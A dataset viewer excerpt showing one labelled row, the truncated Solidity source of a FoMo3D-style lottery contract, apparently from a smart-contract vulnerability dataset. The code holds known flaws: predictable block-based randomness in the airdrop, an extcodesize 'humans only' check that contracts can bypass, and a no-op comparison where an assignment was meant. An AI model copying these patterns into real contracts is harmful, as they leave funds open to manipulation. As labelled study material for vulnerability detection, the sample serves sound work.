source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FOMOO is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xFb61AAe4A6DC37db6F63EF4300aF910919eff231);
address private admin = msg.sender;
string constant public name = "fomoo";
string constant public symbol = "fomoo";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 3 hours;
uint256 constant private rndInc_ = 60 seconds;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
